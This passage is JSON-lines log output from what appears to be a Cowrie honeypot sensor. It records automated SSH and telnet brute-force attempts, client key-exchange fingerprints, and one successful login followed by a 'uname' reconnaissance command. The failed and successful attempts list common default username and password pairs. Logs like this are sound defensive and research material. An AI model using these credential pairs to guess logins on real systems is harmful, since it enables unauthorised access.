","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:45.386222Z","src_ip":"84.239.42.8","session":"77a0de9aa2ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.780301094055176,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:45.653069Z","src_ip":"223.184.249.3","session":"fb22fb8aeae4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:45.671999Z","src_ip":"172.237.20.62","session":"e8a0580c41f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Admin","password":"Admin","message":"login attempt [Admin/Admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:45.897289Z","src_ip":"84.239.42.8","session":"77a0de9aa2ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:46.834340Z","src_ip":"172.237.20.62","session":"e8a0580c41f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:47.029935Z","src_ip":"84.239.42.8","session":"77a0de9aa2ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":50518,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dc5658115fe","protocol":"ssh","message":"New connection: 172.237.20.62:50518 (159.203.135.109:22) [session: 5dc5658115fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:55.994987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:56.000066Z","src_ip":"172.237.20.62","session":"5dc5658115fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:56.164210Z","src_ip":"172.237.20.62","session":"5dc5658115fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:56.655993Z","src_ip":"172.237.20.62","session":"5dc5658115fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:57.826844Z","src_ip":"172.237.20.62","session":"5dc5658115fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":49068,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6254abf946d","protocol":"ssh","message":"New connection: 172.237.20.62:49068 (159.203.135.109:22) [session: f6254abf946d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:06.806924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:06.812864Z","src_ip":"172.237.20.62","session":"f6254abf946d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:06.972676Z","src_ip":"172.237.20.62","session":"f6254abf946d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:07.498513Z","src_ip":"172.237.20.62","session":"f6254abf946d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:08.660566Z","src_ip":"172.237.20.62","session":"f6254abf946d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":53172,"dst_ip":"159.203.135.109","dst_port":23,"session":"665ee5737530","protocol":"telnet","message":"New connection: 199.103.57.63:53172 (159.203.135.109:23) [session: 665ee5737530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:15.786532Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":43070,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d3ad19e54e4","protocol":"ssh","message":"New connection: 172.237.20.62:43070 (159.203.135.109:22) [session: 3d3ad19e54e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:17.720758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:17.766041Z","src_ip":"172.237.20.62","session":"3d3ad19e54e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:17.885963Z","src_ip":"172.237.20.62","session":"3d3ad19e54e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:18.533053Z","src_ip":"172.237.20.62","session":"3d3ad19e54e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:19.699528Z","src_ip":"172.237.20.62","session":"3d3ad19e54e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":59812,"dst_ip":"159.203.135.109","dst_port":22,"session":"c62ee95961a4","protocol":"ssh","message":"New connection: 172.237.20.62:59812 (159.203.135.109:22) [session: c62ee95961a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:28.699888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:28.704508Z","src_ip":"172.237.20.62","session":"c62ee95961a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:28.867576Z","src_ip":"172.237.20.62","session":"c62ee95961a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:29.352373Z","src_ip":"172.237.20.62","session":"c62ee95961a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:30.516443Z","src_ip":"172.237.20.62","session":"c62ee95961a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":35606,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ce737fc0daa","protocol":"ssh","message":"New connection: 172.237.20.62:35606 (159.203.135.109:22) [session: 0ce737fc0daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:39.751946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:39.763834Z","src_ip":"172.237.20.62","session":"0ce737fc0daa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:39.923043Z","src_ip":"172.237.20.62","session":"0ce737fc0daa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:40.400322Z","src_ip":"172.237.20.62","session":"0ce737fc0daa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:41.562052Z","src_ip":"172.237.20.62","session":"0ce737fc0daa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":38144,"dst_ip":"159.203.135.109","dst_port":22,"session":"e92ec5f3d6e8","protocol":"ssh","message":"New connection: 172.237.20.62:38144 (159.203.135.109:22) [session: e92ec5f3d6e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:50.683342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:50.687837Z","src_ip":"172.237.20.62","session":"e92ec5f3d6e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:50.851170Z","src_ip":"172.237.20.62","session":"e92ec5f3d6e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:51.386162Z","src_ip":"172.237.20.62","session":"e92ec5f3d6e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:52.553103Z","src_ip":"172.237.20.62","session":"e92ec5f3d6e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.168822288513184,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:54.955217Z","src_ip":"199.103.57.63","session":"665ee5737530","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00171637535095,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:14:59.764345Z","src_ip":"49.88.156.34","session":"cad53191251e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00227856636047,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:00.843333Z","src_ip":"49.88.156.34","session":"6650e6f393e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":46612,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ddf03bcb332","protocol":"ssh","message":"New connection: 172.237.20.62:46612 (159.203.135.109:22) [session: 9ddf03bcb332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:01.730525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:01.737002Z","src_ip":"172.237.20.62","session":"9ddf03bcb332","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:01.902899Z","src_ip":"172.237.20.62","session":"9ddf03bcb332","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:02.401445Z","src_ip":"172.237.20.62","session":"9ddf03bcb332","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:02.813671Z","src_ip":"172.237.20.62","session":"9ddf03bcb332","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:02.818846Z","src_ip":"172.237.20.62","session":"9ddf03bcb332","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:15:02.991956Z","src_ip":"172.237.20.62","session":"9ddf03bcb332","protocol":"ssh"}
